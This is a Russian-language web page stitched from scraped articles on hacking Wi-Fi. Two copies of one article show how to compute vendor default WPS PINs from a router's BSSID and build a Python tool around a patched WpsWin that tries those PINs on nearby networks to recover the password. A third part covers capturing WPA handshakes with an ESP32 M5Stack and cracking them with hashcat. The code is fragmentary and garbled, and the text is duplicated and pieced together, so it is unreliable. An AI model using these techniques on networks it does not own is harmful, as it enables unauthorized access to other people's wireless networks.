Работа пентестера основана на законом взломе и довольно часто возникает необходимость подключиться к WiFi, не зная пароль. Технология WPS уже давно помогает пентестерам взламывать WiFi. В нашей сегодняшней статье мы посмотрим, как самостоятельно реализовать атаку на WiFi, основанную на слабостях алгоритмов генерации WPS PIN.
Большинство сегодняшних роутеров поддерживает стандарт WPS (Wi-Fi Protected Setup), который дает возможность меньше чем за минуту установить надежное соединение между устройством и маршрутизатором, минуя этап настройки шифрования и ввода пароля. Девайсы подключаются по отдельному восьмизначному ключу WPS PIN, который состоит из цифр. Восьмая цифра — дайджест.
Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция сайта www.spy-soft.net, ни автор не несут никакой ответственности за любой возможный вред, причиненный материалами этой статьи. Взлом WiFi преследуется по закону!
Из всего разнообразия методов взлома WiFi:
- подбор ПИН-кода или ключа безопасности методом перебора (брутфорс);
- использование уязвимостей реализации;
- социальная инженерия;
- использование слабостей генерации ПИН-кодов.
В сегодняшней статье мы рассмотрим последний метод из списка.
СТИЛЛЕР WI-FI НА PYTHON
Атака WPS Pixie Dust уже морально устарела, однако и сегодня мне встречаются подверженные ей роутеры. Проблема кроется в генерации случайных чисел и позволяет не ломать все восемь цифр в лоб, а угадывать лишь четыре из них, так как оставшиеся можно получить из ответов роутера.
Откуда берут стандартный PIN
При покупке маршрутизатора, в нем уже содержится полученный специальным алгоритмом WPS PIN для начального подключения к роутеру через WPS. WPS PIN состоит из восьми цифр. Как производители роутеров его получают? Очевидно, что нужно нечто уникальное для идентификации и генерации различных значений. Правильно — это MAC устройства, который мы можем получить из широковещательного BSSID.
BSSID (Basic Service Set Identifier) — уникальный идентификатор беспроводной сети. Часто BSSID совпадает с MAC-адресом устройства Ethernet MAC.
Генерация WPS PIN на примере
Как вы уже поняли, все начинается с BSSID. Подключаем к сети наш сeксуaльный роутер.
Анализируем любым удобным способом (например, Dumpper).
BSSID получили: C4:6E:1F:6A:8D:04.
Пришло время пошалить: открываем браузер и начинаем искать на различных (в том числе и на буржуйских) сайтах и форумах, как работают алгоритмы генерации PIN-кодов у конкретного производителя сетевого оборудования. Если нет желание это делать, то всегда можно «выдернуть» эти функции из сторонних программных продуктов с открытым исходным кодом.
как взломать wi fi через PowerShell
Предположим, мы нашли, что большинство стареньких роутеров этого вендора используют алгоритм генерации ПИН-кода из последних трех октетов MAC-адреса устройства: 24-bit PIN = MAC[7..12].
Вот реализация этого алгоритма на Python.
Источник: spy-soft.net
Пишем утилиту для взлома Wi-Fi на Python
Большинство современных роутеров поддерживает стандарт WPS (Wi-Fi Protected Setup), который позволяет за секунды установить безопасное соединение между устройством и роутером, минуя этап настройки шифрования и ввода пароля. Устройства подключаются по отдельному восьмизначному ключу WPS PIN, который состоит из цифр.Восьмая цифра — дайджест.
Вся информация предоставлена исключительно в ознакомительных целях. Ни Амино,ни автор не несут ответственности за любой возможный вред, причиненный информацией из данной статьи. Несанкционированное получение доступа к чужим беспроводным устройствам преследуется по закону!
Из всего разнообразия методов поблагодарить соседа взлома беспроводных точек доступа сWPS можно выделить следующие:
1.Подбор ПИН-кода или ключа безопасности методом грубой силы;
2.Использование уязвимостей реализации;
4.Использование слабостей генерации ПИН-кодов.
В этой статье мы остановимся на последнем методе из списка.
Атака WPS Pixie Dust уже морально устарела, однако и сегодня мне встречаются подверженные ей роутеры. Проблема кроется в генерации случайных чисел и позволяет не ломать все восемь цифр в лоб, а угадывать лишь четыре из них, так как оставшиеся можно получить из ответов роутера.
Откуда берут стандартный PIN
Когда мы покупаем роутер, в нем уже содержится полученный специальным алгоритмом WPS PINдля первичного подключения к маршрутизатору через WPS. WPS PIN состоит из восьми цифр. Как производители его получают? Очевидно, что необходимо нечто уникальное для идентификации и генерации различных значений. Правильно — этоMAC устройства, который мы можем получить из широковещательного BSSID.
BSSID (Basic Service Set Identifier)— уникальный идентификатор беспроводной сети. Зачастую BSSID совпадает с адресом устройства Ethernet MAC.
Генерация WPS PIN на примере
Как ты уже понял, все начинается с BSSID. Подключаем к сети нашу точку доступа. ¯_(ツ)_/¯
Анализируем любым удобным способом (например, Dumpper).
Dumpper внятным языком рассказывает нам о близлежащих беспроводных сетях
Настало время приключений: открываем браузер и начинаем бороздить различные (в том числе зарубежные) сайты и форумы, чтобы узнать, как работают алгоритмы генерации ПИН-кодов у конкретного производителя сетевого оборудования. Если же лень сильнее интереса, то всегда можно «выдернуть» эти функции из сторонних программных продуктов с открытым исходным кодом.
Предположим,мы нашли, что большинство стареньких роутеров этого вендора используют алгоритм генерации ПИН-кода из последних трех октетов MAC-адреса устройства: 24-bit PIN = MAC[7..12].
Вот реализация этого алгоритма на Python.
from mathimport floor
One = Two =(int(MAC, 16)
6.WpsWin (входит в состав того самого Dumpper);
Сразу,забегая вперед, скажу, что запускать готовый скрипт нужно будет с правами администратора. Можно с этим либо согласиться и перейти непосредственно к разработке, либо читать дальше.
Автозапуск с правами администратора
Для автозапуска мы будем использовать следующий код:
if __name__ == «__main__»:
Теперь при попытке запустить скрипт вызов будет передан на UAC (если активен) и откроется новое окно терминала, где наш код выполнится от имени администратора.
Если такой вариант не устраивает, то всегда можно воспользоваться готовыми решениями.
pyuac — готовый скрипт для повышения прав в Windows
Прежде всего добавим алгоритм подсчета дайджеста MAC-адреса (он уже был выше):
from mathimport floor
var += 3 * (temp % 10)
temp = floor(temp / 10)
temp = floor(temp / 10)
return (mac * 10) + ((10 — (var % 10)) % 10)
А также несколько функций генерации заветных ПИН-кодов.
далеко не полный список существующих алгоритмов, поэтому оставшиеся варианты будут твоим домашним заданием.
temp = int(BSSID,16) 0xFFFFFF) ^0x55AA55
temp += ((temp % 9) * 1000000) + 1000000
temp = int(BSSID, 16) + 1
temp = format(int(BSSID, 16), ’02x’)
var = [int(temp[0:2], 16), int(temp[2:4],16), int(temp[4:6], 16), int(temp[6:8], 16),
int(temp[8:10], 16), int(temp[10:12], 16)]
for i in range(7):
pin.append((var[i % 6] + var[5]) % (10 -((i + var[1] + var[2] + var[3] + var[4] + var[5]) % 7)))
temp = int(».join(str(i) for i in pin))
Разумеется,нужен способ проверить получившиеся ПИН-коды. В этом нам и поможет WpsWin. Эта утилита позволяет подключиться к беспроводной точке доступа посредством технологии WPS. Но какие параметры ей передавать? Расчехляем IDA, подгружаем наш PE и исследуем.
Вот что нам необходимо проделать с исполняемым файлом:
1.найти передаваемые аргументы для взаимодействия через командную строку;
2.отыскать сообщения об успешных, неудачных и ошибочных результатах подключения;
3.пропатчить PE с целью сокращения тайм-аута на подключение к маршрутизатору.
Первая нужная функция находится по адресу 0x004012A0.
Вторую можно найти по 0x00403370, а третья — это локальная меткаосновной функции.
Ошибка при невозможности подключения к беспроводной точке доступа
Сообщение о некорректном ключе для подключения
По дефолту время тайм-аута соединения с роутером равно девяноста секундам. Мы столько ждать не готовы, поэтому уменьшаем это время до (приблизительно) пяти секунд.
Самозначение передается аргументом второй, найденной нами функции.
Патчим через «Edit →Patch program → Assemble…» и сохраняем.
Подключение по WPS
Продолжаем дописывать наш код. Запускаем WpsWin, передавая ему параметры для подключения к конкретной беспроводной сети, после чего благополучно перехватываем вывод и проверяем результат.
from timeimport sleep
cmd = ‘WpsWin.exe Action=RegistrarESSID=»%s» PIN=%s’ % (ESSID, str(PIN))
for LINE in run_command(cmd):
if «Asociacion fallida» in LINE:
print («Connection with %s hasn’tbeen established!» % ESSID)
elif «Pin incorrecto» in LINE:
elif «Wpa Key» in LINE:
print(«nTRUE PIN FOUND!nGettingthe Wi-Fi password. n»)
К сожалению,WpsWin не позволяет отобразить список близлежащих сетей с поддержкой WPS, как это делает wash в Linux, а значит, нам остается реализовать эту функцию самим.
results = run_command(«netsh wlan shownetworks mode=bssid»)
results = [i for i in results]
for line in results:
if «BSSID» in line:
elif «SSID» in line:
print («Available wireless networks atthe moment:n»)
print («%d — %s» % (i, j))
network = input(«nChoose the wirelessnetwork > «)
network = int(network) — 1
Угадываем WPS PIN
Еще несколько десятков кликов по клавиатуре, и код готов.
algos =[pin24, pinDLink, pinDLinkInc1, pinASUS]
print («nTrying connect to %s via %stechnique with PIN: %s» % (wifiname,i.__name__,pin))
Запускаем скрипт из терминала Windows. Выбираем беспроводную сеть. Профит!
вознаграждение за труды
Если же тебе, дорогой читатель, захочется модернизировать этот код, то вот несколько интересных идей для реализации.
1.Переписать утилиту с использованием встроенной библиотеки cmd, которая имитирует CLI.
2.Придумать иной способ получения списка беспроводных сетей.
3.Отыскать все возможные алгоритмы генерации WPS PIN у разных производителей.
4.Добавить проверку на наличие у беспроводной точки доступа технологии WPS.
5.Создать счетчик неудачных попыток ассоциации, что поможет выявить вероятную блокировку (Lock) или использование межсетевого экранирования в беспроводной сети.
6.Добавить звуковое оповещение, когда будет найден верный ПИН-код.
Что у насесть по результатам:
+10 к интеллекту скиллу разработки средств автоматизированного тестирования;
небольшой список алгоритмов генерации ПИН-кодов;
работающая утилита тестирования слабостей генерации WPS PIN;
пароль от беспроводной сети.
Источник: aminoapps.com
Взлом wi-fi 2.4 Ггц на ESP32 M5Stack
Важно!: Данная статья служит для того чтобы обезопасить Вашу wi-fi сеть от взлома. Если будете повторять данный проект, то будете делать это только на свой страх и риск. Я же в своем случае, проверял его работу исключительно на своей wi-fi сети.
В общем поехали. Существует проект, созданный на esp32 на M5stack плате. Который включает в себя sniffer про который я уже писал статью. И определенный набор механизмов. Которые позволяют найти в wi-fi сетях hendshake(рукопжатие) который содержит в себе пароль от wifi сети и сохраняет его в файл на SD карточку.
Как его установить описывать не буду. Думаю те кому это необходимо смогут это сделать руководствуясь статьей с гитхаба.
Значит еще раз. При запуске данная программа начинает сканировать все сети на всех wi-fi каналах. И если например в данный момент сканируется 5 канал. И на этом 5том канале у нас есть например wi-fi сеть “test”. И к этой сети подключается какое-то устройство.
То монстр который нарисован на экране заулыбается и в глазах загорятся сердечки. Также сохранится файл на sd карту в формате .pcap .
Но если программа работает в автоматическом режиме поиска, то есть большая вероятность что сканируя сутки, вы ничего не найдете. Просто не попадете на нужный канал в то время когда будет подключение. По этому лучше всего просканировать сначала сеть узнать какая wifi сеть на каком канале висит. Например это можно сделать на той же плате m5stack загрузив в нее скетч из проекта: http://psenyukov.ru/wi-fi-%d0%b0%d0%bd%d0%b0%d0%bb%d0%b8%d0%b7%d0%b0%d1%82%d0%be%d1%80-%d1%81%d0%b5%d1%82%d0%b8-%d0%bd%d0%b0-m5stack/
После того как узнали нужный нам канал. Переводим устройство на нужный канал и сканируем. И все довольно быстро произойдет.
После получения .pcap файла на sd карту (карта должна быть не более 4 гб) к нему можно подобрать пароль. Для этого его нужно сначала преобразовать в файл .hccapx. Для этого существует утилита hashcat: https://hashcat.net/cap2hccapx/index.pl . И также к преобразованному файлу .hccapx нужно будет в дальнейшем подобрать пароль, путем перебора или используя словари. Для этого тоже используется программа hashcat. Скачивается с тогоже сайта https://hashcat.net/hashcat/
В интернете есть уйма информации как данной программой пользоваться. В целях того чтоб каждый проходящий мимо этого не смог сделать, я не буду этого описывать.
Теперь что касается того чтоб обезопасить себя.
- Делайте более сложный пароль, где имеются буквы, цифры и разны регистр. Такой пароль довольно сложно подобрать и возможно что такой пароль в словаре не будет содержаться.
- Если у Вас устройства все поддерживают 5Ггц. То лучше перейти на него. Так как m5stack на esp32 поддерживает только 2.4 гГц.
- Возможно сделать скрытым ssid. Который не будет видиться при сканировании сети. И только Вы будете знать его название и подключаться к нему в ручную.
- Также можно шифрование изменить на wi-fi сети.
Источник: psenyukov.ru